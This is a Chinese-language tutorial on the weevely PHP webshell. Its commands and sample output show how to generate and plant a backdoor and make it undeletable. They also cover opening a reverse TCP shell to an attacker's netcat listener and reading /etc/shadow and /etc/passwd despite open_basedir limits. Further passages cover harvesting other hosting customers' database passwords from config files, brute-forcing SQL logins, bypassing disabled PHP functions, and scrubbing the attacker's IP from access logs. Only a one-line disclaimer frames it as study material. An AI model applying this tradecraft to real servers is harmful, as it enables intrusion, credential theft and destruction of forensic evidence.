聲明:文中所涉及的技術、思路和工具僅供以安全爲目的的學習交流使用,任何人不得將其用於非法用途以及盈利等目的,否則後果自行承擔!
文章目錄
基本用法
root@kali:~# weevely
[+] weevely 3.2.0
[!] Error: too few arguments
[+] Run terminal to the target //連接後門
weevely <URL> <password> [cmd]
[+] Load session file
weevely session <path> [cmd]
[+] Generate backdoor agent //生成後門
weevely generate <password> <path>
後門生成
weevely generate <連接密碼> <path>
生成一個後門木馬:
root@kali:~# weevely generate test hello.php
Generated backdoor with password 'test' in 'hello.php' of 1486 byte size. root@kali:~# find / -name hello.php
/usr/share/weevely/hello.php
連接後門
weevely <url> <連接密碼>
root@kali:~# weevely http://192.168.110.129/hello.php test
[+] weevely 3.2.0
[+] Target: winxp-0947be9ad:C:\phpstudy\WWW
[+] Session: /root/.weevely/sessions/192.168.110.129/hello_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>
最後可以chattr +i webshell.php
給後門加個權限(chattr +i不得任意更動文件或目錄),然後試試root能不能刪除吧(僅限linux上)。嘿嘿!
weevely模塊
在虛擬終端模式下需要使用模塊直接在前面加上冒號 ’ : ’ 即可
:shell_su 通過更變使用者來執行shell命令,可以獲得root權限來執行命令.
:shell_sh 執行 shell 命令.
:shell_php 執行 PHP 命令.
:system_extensions 收集PHP和webserver擴展列表
:system_info 收集系統信息
:system_procs 列出正在運行的進程
:audit_disablefunctionbypass 使用mod_cgi和.htaccess繞過系統禁用函數的限制。它會上傳.htaccess和CGI腳本,並在遠程服務器上運行僞系統shell
:audit_etcpasswd 查看/etc/passwd文件
:audit_suidsgid 查找帶有SUID或SGID標誌的文件。
:audit_phpconf 查看php配置信息
:audit_filesystem 審覈文件系統的弱權限。枚舉各種系統目錄並尋找可讀寫執行的目錄,模塊僅默認搜索部分linux下的常見目錄,logs、root、home等
:backdoor_reversetcp 執行反向TCP shell. 需要nc -lvp <port>監聽
:backdoor_tcp 在TCP端口上生成shell
:net_scan TCP端口掃描.
:net_mail 發送郵件.
:net_ifconfig 獲取網絡接口地址.
:net_curl 執行類似curl的HTTP請求.
:net_proxy 運行本地代理以通過目標轉移HTTP / HTTPS瀏覽
:net_phpproxy 在目標上安裝PHP代理.
:bruteforce_sql 可用來猜解數據庫密碼.
:file_find 查找具有給定名稱和屬性的文件.
:file_download 從遠程文件系統下載文件.
:file_check 獲取文件的屬性和權限.
:file_touch 更改文件時間戳.
:file_cd 更改當前工作目錄.
:file_grep 打印與多個文件中的模式匹配的行.
:file_gzip 壓縮或解壓gzip文件.
:file_tar 壓縮或解壓tar文件.
:file_enum 檢查路徑列表的存在和權限
:file_bzip2 壓縮或解壓bzip2文件.
:file_mount 使用HTTPfs掛載遠程文件系統.
:file_clearlog 從文件中刪除字符串.
:file_zip 壓縮或解壓zip文件.
:file_cp 複製單個文件.
:file_upload2web 自動將文件上傳到Web文件夾並獲取相應的URL.
:file_edit 在本地編輯器上編輯遠程文件.
:file_read 從遠程文件系統中讀取遠程文件.
:file_webdownload 指定URL下載文件.
:file_upload 文件上載到遠程文件系統.
:file_ls 列出目錄內容.
:file_rm 刪除遠程文件.
:sql_dump Multi dbms mysqldump replacement.
:sql_console 執行SQL查詢或運行sql控制檯.
幾個模塊的使用:
:shell_su模塊
weevely> :shell_su
error: the following arguments are required: passwd, command
usage: shell_su [-h] [-user USER] [-stderr_redirection STDERR_REDIRECTION]
[-vector-sh {system,passthru,shell_exec,exec,popen,proc_open,perl_system,pcntl}]
[-vector {sh_expect,pyexpect}]
passwd command [command ...]
Execute commands with su.
positional arguments: //位置參數(必須)
passwd User's password
command Shell command
optional arguments: //可選參數
-h, --help show this help message and exit
-user USER User to run the command with
-stderr_redirection STDERR_REDIRECTION
-vector-sh {system,passthru,shell_exec,exec,popen,proc_open,perl_system,pcntl}
-vector {sh_expect,pyexpect}
一般形式:
:shell_su -user root <密碼> <要執行的命令>
**通過更變使用者來執行shell命令,可以獲得root權限來執行命令。**如一般情況下,/etc/shadow這個文件普通用戶是不能查看的,需要升級爲root用戶,就可以這樣:
:shell_su -user root 657260 cat /etc/shadow
:system_info模塊
收集系統信息
www-data@Kali:/ $ :system_info -h
usage: system_info [-h]
[-info {document_root,whoami,hostname,pwd,open_basedir,safe_mode,script,script_folder,uname,os,client_ip,max_execution_time,php_self,dir_sep,php_version} [{document_root,whoami,hostname,pwd,open_basedir,safe_mode,script,script_folder,uname,os,client_ip,max_execution_time,php_self,dir_sep,php_version} ...]]
Collect system information.
optional arguments:
-h, --help show this help message and exit
-info {document_root,whoami,hostname,pwd,open_basedir,safe_mode,script,script_folder,uname,os,client_ip,max_execution_time,php_self,dir_sep,php_version} [{document_root,whoami,hostname,pwd,open_basedir,safe_mode,script,script_folder,uname,os,client_ip,max_execution_time,php_self,dir_sep,php_version} ...]
Select information
選項-info,用來查看某一項信息,如以下命令用來查看本機(攻擊者)ip:
:system_info -info client_ip
也可以直接:system_info
列出全部信息
:audit_disablefunctionbypass模塊
使用mod_cgi和.htaccess繞過系統禁用函數disable_function的限制。它會上傳.htaccess和CGI腳本,並在遠程服務器上運行僞系統shell。
weevely>
www-data@target:/var/www/html PHP> :audit_disablefunctionbypass
[-][disablefunctionbypass] After usage, use ':file_rm' to remove '/var/www/html/.htaccess' and '/var/www/html/acubu.ved'
[-][disablefunctionbypass] Run console without reinstalling with ':audit_disablefunctionbypass -just-run http://localhost/acubu.ved'
[-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated
CGI shell replacement $ ps -aux
PID TTY TIME CMD
24693 ? 00:00:00 apache2
24694 ? 00:00:00 apache2
24695 ? 00:00:00 apache2
24696 ? 00:00:00 apache2
24697 ? 00:00:00 apache2
24859 ? 00:00:00 acubu.ved
24864 ? 00:00:00 ps
CGI shell replacement $ quit
www-data@emilio-lin:/var/www/html PHP>
:audit_etcpasswd模塊
用來直接查看/etc/passwd文件,可使用-real參數來過濾出真實用戶
www-data@Kali:/ $ :audit_etcpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
......
:backdoor_reversetcp模塊
執行反向TCP shell. 需要nc -lvp <port>
監聽
www-data@Kali:/ $ :backdoor_reversetcp
error: the following arguments are required: lhost, port
usage: backdoor_reversetcp [-h] [-shell SHELL] [-no-autonnect]
[-vector {netcat_bsd,netcat,python,devtcp,perl,ruby,telnet,python_pty}]
lhost port
Execute a reverse TCP shell.
positional arguments: //必須
lhost Local host
port Port to spawn
optional arguments:
-h, --help show this help message and exit
-shell SHELL Specify shell
-no-autonnect Skip autoconnect
-vector {netcat_bsd,netcat,python,devtcp,perl,ruby,telnet,python_pty}
先用kali監聽3366端口,
nc -lvp 3366
再用weevely
backdoor_reversetcp 192.168.1.9 3366
:audit.phpconf
查看php配置信息
使用技巧
獲取其他用戶的憑據
本技巧演示如何在共享的託管服務器上獲取其他用戶憑據
1、查找包含其他web用戶的文件夾
weevely> ls
.
..
members
www-data@target:/var/www PHP> cd members
www-data@target:/var/www/members PHP> ls
.
..
alefst
anssot
latrwo
leempt
martol
natsta
rogjas
rotozy
tstanc
virots
yynost
www-data@target:/var/www/members PHP>
2、使用grep命令查找其他用戶存儲在php腳本中的密碼
www-data@target:/var/www/members PHP> grep . '^[^*/#]*passw?o?r?d?'
./virots/config.php:$CFG->dbpass = 'FFFklasdhas()asdjj'; // your database password
./anssot/moodle/config.php:$CFG->dbpass = 'kasdhBSAUIGS77&'; // your database password
./leempt/wp/wp-config.php:define('DB_PASSWORD', 'AShasjdh177!@');
./alefst/wordpress/wp-config.php:define('DB_PASSWORD', 'ajhfaifh123!');
./martol/wordpress/wp-config.php:define('DB_PASSWORD', 'monkeydust1234');
./yynost/sites/default/settings.php: 'password' => 'XXyyynotsgoghia(XX',
./martol/drupal-7.x/sites/default/settings.php: 'password' => 'jhj@&&hgdas98k',
./natsta/drupal/sites/default/settings.php: 'password' => '99copacabana',
www-data@target:/var/www/members PHP>
3、我們發現一些連接數據庫的語句。
www-data@target:/var/www/members PHP> grep . 'mysql_conn'
./rotozy/joosep-lineon/db.php:$g_link = mysql_connect( '10.4.4.24', 'rotozy', 'rotozy123') or die();
www-data@target:/var/www/members PHP>
發現密碼
4、我們可以使用sql_console模塊來連接
www-data@target:/var/www/members PHP> :sql_console -user rotozy -passwd rotozy123 -host 10.4.4.7
rotozy@server7 SQL> SELECT USER();
+----------------+
| rotozy@server7 |
+----------------+
rotozy@server7 SQL>
繞過策略讀取/etc/passwd
某些php配置阻止了對系統文件的任何直接訪問(參見open_basedir),但是這些文件對於權限提升很有幫助,這時候我們就要想方法繞過了。weevely中的模塊audit_etcpasswd幫我們解決了這個問題。
1、我們先嚐試直接訪問目標文件
www-data@target:/var/www/html PHP> cd /etc
[-][cd] Failed cd '/etc': no such directory or permission denied
www-data@target:/var/www/html PHP> cat /etc/passwd
[-][download] File download failed, please check remote path and permissions
2、不能訪問,我們來使用模塊audit_etcpasswd
www-data@target:/var/www/html PHP> :audit_etcpasswd --help
usage: audit_etcpasswd [-h] [-real]
[-vector {posix_getpwuid,file,fread,file_get_contents,base64}]
Get /etc/passwd with different techniques.
optional arguments:
-h, --help show this help message and exit
-real Filter only real users
-vector {posix_getpwuid,file,fread,file_get_contents,base64}
www-data@target:/var/www/html PHP> :audit_etcpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
yzer:x:1000:1000:yzer,,,:/home/yzer:/bin/bash
www-data@target:/var/www/html PHP>
可以看見成功讀取。
有時不能讀取的目錄也可以用chmod 777 /目錄/
來賦予權限。
猜解SQL用戶憑據
本技巧教大家如何猜解多個SQL用戶的憑據。
1、先來查看用戶,無法直接查看,請看上面一個技巧
www-data@target:/var/www/html PHP> cd ..
[-][cd] Failed cd '..': no such directory or permission denied
www-data@target:/var/www/html PHP> cat /etc/passwd
[-][download] File download failed, please check remote path and permissions
www-data@target:/var/www/html PHP> :audit_etcpasswd -real // Filter only real users
root:x:0:0:root:/root:/bin/bash
roblast:x:1000:1000:roblast,,,:/home/roblast:/bin/bash
micjanost:x:1001:1001:micjanost,,,:/home/micjanost:/bin/bash
pjgomes:x:1002:1002:pjgomes,,,:/home/pjgomes:/bin/bash
pdpeers:x:1003:1003:pdpeers,,,:/home/pdpeers:/bin/bash
www-data@target:/var/www/html PHP>
2、使用bruteforce_sql猜解密碼
www-data@target:/var/www/html PHP> :bruteforce_sql mysql -users roblast micjanost pjgomes pdpeers root -fpwds wordlists/huge.txt #制定了多個用戶和一個字典
roblast:reckoned
pjgomes:national
root:Gilchrist
www-data@target:/var/www/html PHP>
同時爆破多個用戶的密碼
3、成功猜解出三個用戶密碼,我們使用sql_console連接
www-data@target:/var/www/html PHP> :sql_console -u root -p Gilchrist
root@localhost SQL> show databases;
+--------------------+
| mysql |
| performance_schema |
| test |
| appdb |
+--------------------+
root@localhost SQL>
日誌清理
本技巧教大家如何清除服務器中的跟蹤記錄。
1、首先找到日誌存放的文件夾,下例是存放在log文件夾中
weevely> ls
.
..
htdocs
logs
cpanel
.profile
cgi-bin
member@target:/home/member PHP> cd logs
member@target:/home/member/logs PHP> ls
.
..
access.log
member@target:/home/member/logs PHP>
2、我們使用system_info命令找到我們自己的ip
member@target:/home/member/logs PHP> :system_info -info client_ip
174.122.136.104
member@target:/home/member/logs PHP>
3、我們使用grep命令來確認我們的ip記錄在日誌文件中
member@target:/home/member/logs PHP> grep access.log 174.122.136.104
174.122.136.104 - - [21/Apr/2015:20:37:04 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.co.uz/url?sa=t&rct=j&source=web&cd=136&ved=d7fQaxNTP&ei=qpG-lx-Uque6l97bG_EZfE&usg=FL237uTSYjAc8DC-d971rS4UUPyWV13nyK" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3"
174.122.136.104 - - [21/Apr/2015:20:34:01 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&usg=200QawVTBiv_BPoQJdoQhA-yTa66mtGaEA" "Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR)"
174.122.136.104 - - [21/Apr/2015:20:28:24 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.com.uy/url?sa=t&rct=j&source=web&cd=183&ved=DJY1U23wu&ei=GfRq0HsncZ7nn32louwyv0&usg=oYydfzk5nYywMujSFCTAmFvz3i3U7IYMDW" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729)"
4、我們可以看到我們IP地址的活動已經被記錄,我們可以再次使用grep,然後從日誌中刪除我們的ip,然後將其保存到臨時文件中
member@target:/home/member/logs PHP> grep access.log -v 174.122.136.104 -output cleaned.log
member@target:/home/member/logs PHP>
講解:這裏,grep -v 或 --revert-match 是顯示不包含匹配文本的所有行,然後輸出到cleaned.log中,再把原文件access.log刪除,又cleaned.log替換access.log。
5、讓我們來測試看看cleaned.log中是否已經沒有了174.122.136.104的內容
member@target:/home/member/logs PHP> grep cleaned.log 174.122.136.104
member@target:/home/member/logs PHP>
6、然後我們就可以用cleaned.log來替換access.log
member@target:/home/member/logs PHP> rm access.log
member@target:/home/member/logs PHP> cp cleaned.log access.log
member@target:/home/member/logs PHP> rm cleaned.log
繞過系統禁用函數(disable_function)
我們將使用的是audit_disablefunctionbypass模塊,它會上傳.htaccess和CGI腳本,並在遠程服務器上運行僞系統shell。
weevely>
www-data@target:/var/www/html PHP> :audit_disablefunctionbypass
[-][disablefunctionbypass] After usage, use ':file_rm' to remove '/var/www/html/.htaccess' and '/var/www/html/acubu.ved'
[-][disablefunctionbypass] Run console without reinstalling with ':audit_disablefunctionbypass -just-run http://localhost/acubu.ved'
[-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated
CGI shell replacement $ ps -aux
PID TTY TIME CMD
24693 ? 00:00:00 apache2
24694 ? 00:00:00 apache2
24695 ? 00:00:00 apache2
24696 ? 00:00:00 apache2
24697 ? 00:00:00 apache2
24859 ? 00:00:00 acubu.ved
24864 ? 00:00:00 ps
CGI shell replacement $ quit
www-data@emilio-lin:/var/www/html PHP>
weevely並不止本文所介紹的這些技巧,具體還是要大家多使用,這樣才能發現更多的奇淫技巧,也歡迎大家來分享自己的心得。